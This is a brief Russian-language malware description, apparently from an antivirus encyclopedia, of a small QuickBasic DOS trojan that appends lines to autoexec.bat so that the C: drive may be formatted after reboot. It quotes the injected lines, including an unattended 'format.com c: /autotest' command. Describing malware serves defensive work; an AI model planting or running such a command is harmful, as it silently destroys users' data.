Trojan.DOW.Sabil

Technical Details

Троянская программа, является DOS EXE-файлом размером 16KB, написана на QuickBasic. Файл упакован утилитами компрессии ExePack и UPX, размер распакованного файла – около 20KB.

При старте троянец дописывает в конец файла “c:autoexec.bat” строки:

@echo Sario Written by Sarosoft
@echo Acireale Luglio 2003
format.com c: /autotest

После перезагрузки компьютера может произойти форматирование диска C:.